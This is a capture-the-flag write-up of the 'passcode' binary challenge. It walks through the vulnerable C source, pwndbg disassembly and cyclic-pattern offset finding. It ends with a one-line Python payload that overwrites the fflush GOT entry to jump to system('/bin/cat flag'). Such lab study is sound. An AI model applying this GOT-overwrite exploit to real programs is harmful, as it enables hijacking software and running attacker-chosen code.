This is bit of a simple challenge but the concept here is the very important and might be bit difficult to grasp. Here the code part is interesting as the developer in this case forgets to pass on the reference to the variable which we can weaponize and take control of the program. Without the reference or & sign the scanf function treats the variable as a pointer and tries to write information to that address where is “pointing to”. Thus we can overwrite any address in the memory with some other information.

code

$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

Now lets try to debug this program. As I already have pwndbg installed, I will use some of its commands.

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x080483e0  _init
0x08048420  printf@plt
0x08048430  fflush@plt
0x08048440  __stack_chk_fail@plt
0x08048450  puts@plt
0x08048460  system@plt
0x08048470  __gmon_start__@plt
0x08048480  exit@plt
0x08048490  __libc_start_main@plt
0x080484a0  __isoc99_scanf@plt
0x080484b0  _start
0x080484e0  __do_global_dtors_aux
0x08048540  frame_dummy
0x08048564  login
0x08048609  welcome
0x08048665  main
0x080486a0  __libc_csu_init
0x08048710  __libc_csu_fini
0x08048712  __i686.get_pc_thunk.bx
0x08048720  __do_global_ctors_aux
0x0804874c  _fini

From the code and the debugger, we can see that the function names are present in the funcations list. Lets put a break at the login by executing

b login

Again from the source code of the program we can see that we can overflow the name variable found in the welcomefunction. now lets generate a long string using pwntools

In [2]: from pwn import *
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/x8006/.cache/.pwntools-cache-3.9/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.8.0)

In [3]: g = cyclic_gen()

In [4]: g.get(130)
Out[4]: b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabha'

Now let run this code and enter this value into the name variable.

pwndbg> disassemble 
Dump of assembler code for function login:
   0x08048564 <+0>:	push   ebp
   0x08048565 <+1>:	mov    ebp,esp
   0x08048567 <+3>:	sub    esp,0x28
   0x0804856a <+6>:	mov    eax,0x8048770
   0x0804856f <+11>:	mov    DWORD PTR [esp],eax
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    eax,0x8048783
   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
=> 0x0804858b <+39>:	mov    eax,ds:0x804a02c

from the disassembly we can see that the location for the passcode1 variable is located at ebp-0x10 location and if we try to take a peek we can see

pwndbg> x/16s $ebp - 0x10
0xfff21b18:	"yaaa"

We are now able to write some data on to the stack and overwrite the variable called passcode1.

If we search for the location, we can see use the following method:

In [6]: g.find('yaaa')
Out[6]: (96, 0, 96)

This means after 96chars, we can overwrite the value for passcode1

Now from the c code we can see that the scanf function is taking in a passcode1but the & is missing. This implies that scanf will not write the value we have entered to that address rather it will access the memory location of passcode1 or ebp - 0x10 location and treat that as an memory location.

So as of now we can overwrite any memory location in this program. One thing here to consider is that accordginly to man scanf we can see that it will take input until non-white-space chars. so We cannot enter any char which contain somthing which contain space

Some characters which can cause issues are:

0a -> line feed
0d -> carrage return
20 -> spcee

jump to where ?!

To find the address where we want to perform the jump is the location is at system("/bin/cat flag");. If we look closely we will see that the nearest location is given below:

0x080485de <+122>:	call   0x8048450 <puts@plt>
0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
0x080485ea <+134>:	call   0x8048460 <system@plt>

We can see that on the line 0x080485e3 some address location is involved thus we can take a look into it:

pwndbg> x/s 0x80487af
0x80487af:	"/bin/cat flag"

Now we have an idea on what is the jump location we can create out exploit.

exploit phase 1

In this segment we will overflow the name variable so that we can overwrite the password1 variable. We have already seen that by using over 96 characters we can overflow and change the password1variable. The next question is what to put here ? As we do not have control over the instruction pointer or EIP, we need to locate a victim so that we can use it. In the source code we can see that after taking in the value for passcode1 there is a fflush function. In the next phase we will locate and change the address where fflush is “pointing” to and replace is with the address we want the EIP to jump to thus hijacking the program and executing out own part of the code.

exploit phase 2

We can now try to disassemble the fflush call and check where it is pointing to. Use the following command to see it.

pwndbg> disassemble fflush
Dump of assembler code for function fflush@plt:
   0x08048430 <+0>:	jmp    *0x804a004
   0x08048436 <+6>:	push   $0x8
   0x0804843b <+11>:	jmp    0x8048410
End of assembler dump.

Here 0x804a004 is the address from where fflush starts to execute from

As we can see that we want to change the address at 0x804a004 from 0x08048436 to 0x080485e3.

code

We can now use the following code:

python -c "print '\x01'*96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode